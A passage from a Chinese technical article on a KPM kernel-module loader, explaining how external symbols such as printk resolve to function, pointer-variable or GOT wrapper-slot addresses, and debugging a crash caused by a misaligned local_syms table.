(*printk)(...)</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">printk</span></code><p><span leaf=""> 是函数指针变量</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">函数指针变量自身的地址</span></p></td></tr></tbody></table><p data-line="2424" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果声明是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2356" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">extern</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">void</span></span><span style="color: inherit;"><span leaf="">(*printk)</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *fmt, ...)</span></span><span leaf="">;</span></code></pre><p data-line="2430" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">那么KPM会生成：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2362" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">先找到 printk 变量地址</span><span leaf=""><br/></span><span leaf="">再读取变量中的函数地址</span><span leaf=""><br/></span><span leaf="">最后调用</span></code></pre><p data-line="2438" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">因此 loader 不能把 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">printk</span></code><span leaf=""> 解析成函数地址，而应该提供一个“指针变量”：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2370" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">void</span></span><span style="color: inherit;"><span leaf="">(*kp_printk_ptr)</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *fmt, ...)</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">kp_printk_ptr = printk;</span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/*</span><span leaf=""><br/></span><span leaf=""> * 注意：这里传的是变量地址，而不是函数地址。</span><span leaf=""><br/></span><span leaf=""> */</span></span><span leaf="">local_syms[PRINTK_IDX].addr = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)&amp;kp_printk_ptr;</span></code></pre><p data-line="2451" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">同理：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2383" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">long</span></span><span style="color: inherit;"><span leaf="">(*kp_kallsyms_lookup_name_ptr)</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *name)</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">kp_kallsyms_lookup_name_ptr = kp_kallsyms_lookup_name;</span><span leaf=""><br/></span><span leaf="">local_syms[KALLSYMS_IDX].addr =</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)&amp;kp_kallsyms_lookup_name_ptr;</span></code></pre><p data-line="2462" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">因此 loader 需要区分三种地址层级：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">情况</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">应填入的地址</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">普通函数符号</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">函数地址</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">函数指针变量符号</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">指针变量自身地址</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">GOT 双重解引用符号</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">包装槽地址</span></p></td></tr></tbody></table><p data-line="2470" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">对于需要包装的外部函数，可以分配一层 wrapper slot：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2402" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">u64 *slot = &amp;wrap_pool[wrap_count++];</span><span leaf=""><br/></span><span leaf="">*slot = real_func_addr;</span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/*</span><span leaf=""><br/></span><span leaf=""> * GOT 槽中放 slot 地址，而不是 real_func_addr。</span><span leaf=""><br/></span><span leaf=""> */</span></span><span leaf="">got_entry = (u64)slot;</span></code></pre><p data-line="2483" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这样 KPM 的双重解引用链条就成立：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2415" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">GOT entry</span><span leaf=""><br/></span><span leaf="">  → wrapper slot 地址</span><span leaf=""><br/></span><span leaf="">    → wrapper slot 中保存真实函数地址</span><span leaf=""><br/></span><span leaf="">      → BLR 真实函数</span></code></pre><p data-line="2492" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">外部符号解析不能只问“这个符号的地址是多少”。</span></p><p data-line="2494" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">还必须问KPM编译器认为这个符号是什么？</span></p><p data-line="2496" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">它可能是：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">一个普通函数</span></p></li><li><p><span leaf="">一个函数指针变量</span></p></li><li><p><span leaf="">一个数据对象</span></p></li><li><p><span leaf="">一个需要 GOT 包装的外部引用</span></p></li></ul><p data-line="2503" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">声明类型不同，编译器生成的访问模式完全不同。</span></p><p data-line="2435" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">loader 必须提供匹配的地址层级。</span></p><h3 data-line="2589" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">符号表维护</span></h3><p data-line="2509" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 35：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">local_syms</span></code><span leaf=""> 表与初始化代码错位</span></p><p data-line="2511" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KPM 入口函数中第一个：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2443" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">printk(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;init args=%s\n&#34;</span></span><span leaf="">, args);</span></code></pre><p data-line="2517" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">就触发崩溃。</span></p><p data-line="2519" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">反汇编发现：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2451" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">ldr x8, [x24]</span><span leaf=""><br/></span><span leaf="">blr x8</span></code></pre><p data-line="2526" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">x24</span></code><span leaf=""> 并不是 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">printk</span></code><span leaf=""> 指针变量地址，而是另一个 local symbol 的地址，甚至可能是某个完全无关的 helper 函数。</span></p><p data-line="2528" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">local_syms[]</span></code><span leaf=""> 表声明和 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">local_syms_init()</span></code><span leaf=""> 初始化函数是两份平行维护的列表。</span></p><p data-line="2530" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">表声明类似：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2462" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">index 21 = printk</span><span leaf=""><br/></span><span leaf="">index 22 = hook_unwrap_remove</span><span leaf=""><br/></span><span leaf="">index 23 = sp_el0_is_current</span><span leaf=""><br/></span><span leaf="">...</span></code></pre><p data-line="2539" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 